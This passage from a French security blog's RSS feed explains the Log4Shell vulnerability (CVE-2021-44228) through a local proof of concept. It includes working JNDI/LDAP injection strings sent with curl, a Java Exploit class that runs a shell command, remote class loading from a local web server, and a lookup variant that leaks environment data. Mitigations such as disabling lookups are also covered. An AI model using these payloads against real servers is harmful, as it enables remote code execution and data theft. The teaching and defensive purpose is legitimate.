&lt;p&gt;Une fois démarré, il affiche le message suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Listening on 0.0.0.0:1389&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;exécution&quot;&gt;Exécution&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Tout est en place. Il nous reste à exécuter l&amp;#8217;attaque sur la cible.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous reprenons la première action qui consiste à appeler la cible avec une requête HTTP. Pour cela, nous utilisons l&amp;#8217;outil &lt;code&gt;curl&lt;/code&gt;. Pour information, le programme cible écoute sur le port 8500.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Le programme principal est disponible sous
&lt;a href=&quot;https://github.com/lilian-benoit/log4jshell-poc/blob/master/src/main/java/fr/lbenoit/securite/log4shell/VulnerableLog4jMain.java&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;curl 127.0.0.1:8500 -H &apos;user-agent: ${jndi:ldap://127.0.0.1:1389/#Exploit}&apos;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous obtenons le résultat suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;&amp;lt;h1&amp;gt;Voici le user-agent, ${jndi:ldap://127.0.0.1:1389/#Exploit}!&amp;lt;/h1&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons voir la chaine d&amp;#8217;évènement pour suivre le déroulé.
En l&apos; &lt;code&gt;étape 2&lt;/code&gt;, la cible appelle bien l&amp;#8217;annuaire LDAP. Nous retrouvons la trace suivante coté de l&amp;#8217;annuaire&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Send LDAP reference result for #Exploit redirecting to http://127.0.0.1:8888/Exploit.class&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  A noter que le code est simple, donc la classe a télécharger paramétrée uniquement au lancement du programme LDAP. Rien n&amp;#8217;empêche un serveur plus complexe qui traiter la requête LDAP pour renvoyer vers la bonne classe.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Puis comme prévu dans l&apos; &lt;code&gt;étape 4&lt;/code&gt;, la cible appelle le serveur web avec l&amp;#8217;url. Nous trouvons la trace suivante coté serveur web.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;127.0.0.1 - - [25/déc./2021:10:42:24 +0100] &quot;GET /Exploit.class HTTP/1.1&quot; 200 -&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Afin coté de la cible, la classe est bien chargée dans l&apos; &lt;code&gt;étape 6&lt;/code&gt; et nous pouvons voir les traces de l&amp;#8217;exécution.
Ensuite, nous n&amp;#8217;avons fait au plus simple pour la classe de l&amp;#8217;exploit donc nous obtenons un problème de conversion &lt;code&gt;ClassCastException&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Chargement...
cmd : bash
result : 0
2021-12-25 11:37:58,279 Thread-2 WARN Error looking up JNDI resource [ldap://127.0.0.1:1389/#Exploit]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory]; remaining name &apos;#Exploit&apos;
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1092)
	at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
	at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)

  ...

Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
	at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
	at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
	... 48 more

11:27:50.892 [Thread-2] INFO  fr.lbenoit.securite.log4shell.VulnerableLog4jExampleHandler - Request user-agent: ${jndi:ldap://127.0.0.1:1389/#Exploit}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pourrions arranger le code pour éviter de faire sortir ce type d&amp;#8217;exception dans les traces. Mais en tout cas, l&amp;#8217;exploit a fonctionné et nous avons obtenu notre fichier &lt;code&gt;/tmp/exploit.txt&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Imaginer maintenant si le programme tourne avec un utilisateur avec beaucoup de priviliège (comme root) et si la commande à exécuter consiste à supprimer tous les fichiers de l&amp;#8217;ordinateur.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;jvm_récente&quot;&gt;JVM Récente&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans le &lt;a href=&quot;/2021/12/CVE-2021-44228-et-Apache-Log4j.html&quot;&gt;billet précédent&lt;/a&gt;, j&amp;#8217;indiquais les versions du JDK qui permettent de ne pas charger du code arbitraire. Dans notre cas, c&amp;#8217;est la classe malveillante retournée par notre annuaire LDAP qui ne sera pas chargée.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est à dire, nous appelons bien l&amp;#8217;annuaire LDAP mais pas le serveur web. Nous obtenons la sortie suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;23:13:16.325 [Thread-2] INFO  fr.lbenoit.securite.log4shell.VulnerableLog4jExampleHandler - Request user-agent: Reference Class Name: foo&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Effectivement, le code malveillant n&amp;#8217;est pas exécuté. Mais en appelant l&amp;#8217;annuaire LDAP, nous pouvons divulguer des informations. En effet, si je modifie la requête initiale pour utiliser d&amp;#8217;autres &lt;code&gt;Lookups&lt;/code&gt; (Lien vers le &lt;a href=&quot;https://logging.apache.org/log4j/2.x/manual/lookups.html&quot;&gt;manuel&lt;/a&gt; de Log4j) :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons utiliser d&amp;#8217;autres &quot;Lookup&quot;, par exemple :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Environnment Lookup avec &lt;code&gt;env:USER&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Java Lookup avec &lt;code&gt;java:version&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous obtenons la commande suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;curl 127.0.0.1:8500 -H &apos;user-agent: ${jndi:ldap://127.0.0.1:1389/#User/${java:version}/${env:USER}}&apos;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Du coté de l&amp;#8217;annuaire LDAP corrompu, nous obtenons les valeurs :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Send LDAP reference result for #User/Java version 17.0.1/lbenoit redirecting to http://127.0.0.1:8888/Exploit.class&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc, le programme cible tourne avec un &lt;code&gt;JDK 17.0.1&lt;/code&gt; avec l&amp;#8217;utilisateur &lt;code&gt;lbenoit&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La montée de version d&amp;#8217;une librairie avec une versions corrective est plus ou moins longue en fonction du processus de développement et de déploiement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est intéressant de comprendre une faille de sécurité pour savoir comment s&amp;#8217;en prémunir. Dans notre cas précis, les deux options &lt;code&gt;log4j2.formatMsgNoLookups&lt;/code&gt; ou &lt;code&gt;LOG4J_FORMAT_MSG_NO_LOOKUPS&lt;/code&gt; permettent de désactiver l&amp;#8217;utilisation de ces fameux &lt;code&gt;Lookup&lt;/code&gt; au sein des messages. De ce fait, cette faille n&amp;#8217;est plus exploitable.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, leur utilisation est plutôt pour la définition des patterns de messages. Voici un exemple pour d&amp;#8217;un &lt;code&gt;Lookup&lt;/code&gt; JNDI.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&amp;lt;File name=&quot;Application&quot; fileName=&quot;application.log&quot;&amp;gt;
  &amp;lt;PatternLayout&amp;gt;
    &amp;lt;pattern&amp;gt;%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n&amp;lt;/pattern&amp;gt;
  &amp;lt;/PatternLayout&amp;gt;
&amp;lt;/File&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;open_source&quot;&gt;Open Source&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, Log4j fait partie du projet &lt;code&gt;Apache logging service&lt;/code&gt;. C&amp;#8217;est à dire la journalisation pour un ensemble de langages : Java, Kotlin, Scala, C++, .Net et d&amp;#8217;autres projets associés. Ce n&amp;#8217;est pas une grosse société derrrière mais c&amp;#8217;est une &lt;a href=&quot;https://logging.apache.org/log4j/2.x/team-list.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;petite équipe&lt;/a&gt; de bénévole.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Malgré leur petit nombre, ils ont été prompt à fournir des correctifs. C&amp;#8217;est l&amp;#8217;occasion de les soutenir en  &lt;a href=&quot;https://donate.apache.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;faisant un don&lt;/a&gt; à la fondation Apache.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) CVE-2021-44228 sur mitre.org&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://logging.apache.org/log4j/2.x/security.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Page sécurité de Apache Log4J&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.lunasec.io/docs/blog/log4j-zero-day/#exploit-steps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Billet de blog sur la faille Lunasec&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lilian-benoit/log4jshell-poc/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Source du POC disponible sous github&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>CVE-2021-44228 et Apache Log4j</title>
      <link>https://www.lilian-benoit.fr/2021/12/CVE-2021-44228-et-Apache-Log4j.html</link>
      <pubDate>dim., 12 déc. 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/12/CVE-2021-44228-et-Apache-Log4j.html</guid>
      	<description>
	&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#solution&quot;&gt;Solution&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#version_2_10&quot;&gt;Version &amp;gt;= 2.10&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#version_2_10_2&quot;&gt;Version &amp;lt; 2.10&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#cas_des_jvm_récentes&quot;&gt;Cas des JVM récentes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;!-- toc disabled --&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le 9 décembre, une vulnérabilité a été annoncée publiquement. La faille a été découverte par Chen Zhaojun de l&amp;#8217;équipe Securité de Alibaba Cloud. Les versions concernées de la version 2.0-beta9 à 2.14.1.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La faille utilise la fonctionnalité de &lt;code&gt;Lookups&lt;/code&gt; de Log4J. C&amp;#8217;est la capacité d&amp;#8217;ajouter des informations dans les messages des journaux. Voici la &lt;a href=&quot;https://logging.apache.org/log4j/log4j-2.2/manual/lookups.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;liste complète&lt;/a&gt;. Celle qui nous intéresse est celle utilisant les capacité de JNDI.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;    &amp;lt;File name=&quot;Application&quot; fileName=&quot;application.log&quot;&amp;gt;
      &amp;lt;PatternLayout&amp;gt;
        &amp;lt;pattern&amp;gt;%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n&amp;lt;/pattern&amp;gt;
      &amp;lt;/PatternLayout&amp;gt;
    &amp;lt;/File&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le principe de l&amp;#8217;attaque est de détourner cette fonctionnalité afin d&amp;#8217;appeler un serveur LDAP corrompu. Pourquoi ? car il est possible d&amp;#8217;exécuter du code Java. Cela explique la gravité de cette faille car du code arbitraire peut être exécutée à distance.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour cela, il suffit que l&amp;#8217;application affiche dans les journaux des informations provenant de la requête. Par exemple, l&amp;#8217;en-tête &apos;User-Agent&apos;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String userAgent = he.getRequestHeaders().getFirst(&quot;user-agent&quot;);

log.info(&quot;Request user-agent: {}&quot;, userAgent);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Et c&amp;#8217;est là, que la personne malveillante peut construire une chaine maveillante de ce type :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;curl 127.0.0.1:8500 -H &apos;user-agent: ${jndi:ldap://127.0.0.1:1389/....}&apos;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;127.0.0.1:8500 : Serveur cible de mon attaque&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;127.0.0.1:1389 : Serveur LDAP corrompu&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ainsi, cela sera le code suivant qui sera exécuté:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;log.info(&quot;Request user-agent: ${jndi:ldap://127.0.0.1:1389/....}&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Reprenons, voici les étapes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Les données sont envoyés au serveur (via n&amp;#8217;importe quel protocole)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le serveur enregistre dans les journaux le payload malveillant &lt;code&gt;${jndi:ldap://127.0.0.1:1389/&amp;#8230;&amp;#8203;.&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lo4j va appeler l&amp;#8217;annuaire LDAP corrompu &lt;code&gt;127.0.0.1:1389&lt;/code&gt; via JNDI&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La réponse contient un chemin pour récupérer du code malveillant &lt;code&gt;&lt;a href=&quot;http://127.0.0.1:8888/Exploit.class&quot; class=&quot;bare&quot;&gt;http://127.0.0.1:8888/Exploit.class&lt;/a&gt;&lt;/code&gt; qui sera chargé par le serveur.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cela permet l&amp;#8217;execution de code arbitraire.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Exemple de payload&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;class Exploit {
    static {
        try { Runtime.getRuntime().exec(&quot;touch /tmp/pwned&quot;); } catch(Exception e) {}
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La commande sera exécutée dès qu&amp;#8217;elle est chargé par la JVM.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;solution&quot;&gt;Solution&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;La solution est de monter de version la librairie et d&amp;#8217;utiliser la version 2.15.0.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela n&amp;#8217;est peut-être pas simple à changer, notamment si cela concerne un produit utilisant log4j, comme Apache Solr, Elasticsearch, Apache Kafka.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Une liste est maintenue par connaître &lt;a href=&quot;https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;les produits impactés&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est intéressant de connaitre des solutions alternatives permettant d&amp;#8217;éviter le problème.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;version_2_10&quot;&gt;Version &amp;gt;= 2.10&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il existe deux solutions :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Propriété de la JVM  : &lt;code&gt;-Dlog4j.formatMsgNoLookups=true&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Variable d&amp;#8217;environnement : &lt;code&gt;LOG4J_FORMAT_MSG_NO_LOOKUPS=true&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;version_2_10_2&quot;&gt;Version &amp;lt; 2.10&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Solution un peu radicale. Elle consiste à supprimer la classe &lt;code&gt;JndiLookup&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;cas_des_jvm_récentes&quot;&gt;Cas des JVM récentes&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par défaut, le code arbitraire ne peut pas être chargée pour les versions suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Java 7 : 7u202&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Java 8 : 8u192&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Java 11 : 11.0.2&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si vous utilisez une version Java 8 &amp;gt;= 8u121, vous pouvez désactiver le chargement de ce type de code avec les propriétés suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-Dcom.sun.jndi.rmi.object.trustURLCodebase=false&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Il est à noter que cela n&amp;#8217;empêche pas le premier appel au serveur LDAP. Donc, des informations peuvent être soutirées par ce biais.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CVE-2021-44228 sur mitre.org&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://logging.apache.org/log4j/2.x/security.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Page sécurité de Apache Log4J&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.lunasec.io/docs/blog/log4j-zero-day/#exploit-steps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Billet de blog sur la faille&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Debian 11 (Bullseye) et VirtualBox</title>
      <link>https://www.lilian-benoit.fr/2021/12/Debian11-et-VirtualBox.html</link>
      <pubDate>dim., 5 déc. 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/12/Debian11-et-VirtualBox.html</guid>
      	<description>
	&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#version_de_novembre&quot;&gt;Version de novembre&lt;/a&gt;
